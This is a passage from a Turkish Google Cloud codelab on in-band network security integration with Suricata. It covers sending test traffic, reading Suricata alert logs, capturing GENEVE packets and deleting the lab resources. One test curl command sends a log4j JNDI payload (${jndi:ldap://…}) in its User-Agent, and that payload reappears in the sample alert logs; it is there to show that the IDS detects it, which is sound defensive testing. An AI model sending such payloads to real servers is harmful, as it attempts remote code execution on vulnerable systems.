gcloud compute ssh consumer-$zonec \ --zone $zonec
- Aynı şekilde, test trafiği gönderin:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Beklenen çıktı:
200
- log4j isteği gönderme:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Beklenen çıktı:
200
Bu isteğin işleme alındığını fark edeceksiniz. Bu beklenen bir durumdur. Çünkü NSI'yi $zonec ile yapılandırmadınız. Araya girme uç nokta grubu yalnızca $zonea ve $zoneb için ilişkilendirmelere sahiptir.
- SSH oturumundan çıkarak Cloud Shell'e dönme
exit
Suricata'nın kötü amaçlı istekleri aldığını ve engellediğini doğrulama
- Günlükleri kontrol etmek için $zonea bölgesindeki Suricata sanal makinesine (suricata-$zonea) SSH bağlayın:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Saldırı türüne göre filtrelenmiş günlükleri görüntüleyin:
cat /var/log/suricata/eve.json | grep log4j
Bazı girişler görebilirsiniz. Herhangi bir giriş görmüyorsanız $zoneb içindeki Suricata VM'sinin günlüklerini kontrol edin. Örnek çıktı:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- SSH oturumundan çıkarak Cloud Shell'e dönme
exit
İsteğe bağlı olarak, $zoneb'deki Suricata sanal makinesine (suricata-$zoneb) SSH uygulayabilir ve günlükleri doğrulayabilirsiniz.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Saldırı türüne göre filtrelenmiş günlükleri görüntüleyin:
cat /var/log/suricata/eve.json | grep log4j
Örnek çıktı:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Ayrıca, paket yakalama işlemleri trafiği görüntülemek ve doğrulamak için iyi bir yöntemdir.
Bu komut, GENEVE paketlerini filtreler. Örnek komut:
sudo tcpdump -i any -nn udp port 6081
Şimdi bir tüketici sanal makinesinden birkaç test trafiği gönderin. Örnek çıktı:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
tcpdump ile GENEVE üstbilgilerini görebilirsiniz. Kaynak IP, alt ağ ağ geçidinin (10.0.0.1), hedef IP ise yönlendirme kuralının (10.0.0.11 veya 10.0.0.12) IP'sidir. Kapsüllenmiş paketler, orijinal paketleri (tüketici-$zonea (192.168.0.2) veya tüketici-$zoneb (192.168.0.3) istemci IP'si ve hedef google.com) içerir. Bu, paketlerin yakalanıp Ağ Güvenliği Entegrasyonu aracılığıyla üçüncü taraf cihazına gönderildiğini doğrular.
- SSH oturumundan çıkarak Cloud Shell'e dönme
exit
Tebrikler. Bant içi ağ güvenliği entegrasyonu (NSI) ile bir ortamı başarıyla dağıtıp test ettiniz.
5. Temizleme
Tüketici
Tüketici VM'lerini silin:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Güvenlik duvarı ilişkilendirmesini ve politikasını silme:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Güvenlik profili grubunu ve güvenlik profilini silme:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Uç nokta ilişkilendirmesini ve kesişen uç nokta gruplarını silme:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Cloud NAT, Cloud Router ve ayrılmış IP'yi silme
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
VPC'yi ve alt ağları silme
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Yapımcı
Araya girme dağıtımlarını silme:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Araya girme dağıtım grubunu silme (bu komutun başarılı olması için araya girme dağıtımlarının silinmesi tamamlanmalıdır):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
İletim kurallarını silme:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Ayrılmış IP'yi içeren yönlendirme kuralını silme:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Arka uç hizmetini silme:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Yönetilmeyen örnek gruplarını silme:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Durum denetimini silme:
gcloud compute health-checks delete nva-hc -q
Üretici sanal makinelerini silin:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Cloud NAT, Cloud Router ve ayrılmış IP'yi silin:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Güvenlik duvarı politika ilişkilendirmesini silme:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Güvenlik duvarı politikasını silme:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
VPC ve alt ağı silme
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Tebrikler!
Tebrikler, Suricata ile Bant İçi Ağ Güvenliği Entegrasyonu codelab'ini başarıyla tamamladınız.
NSI bant içi tedarikçiye özel demo videolarını izleyin:
Kuruluşunuzla alakalı olabilecek bazı tedarikçiye özel dağıtım kılavuzlarına göz atın: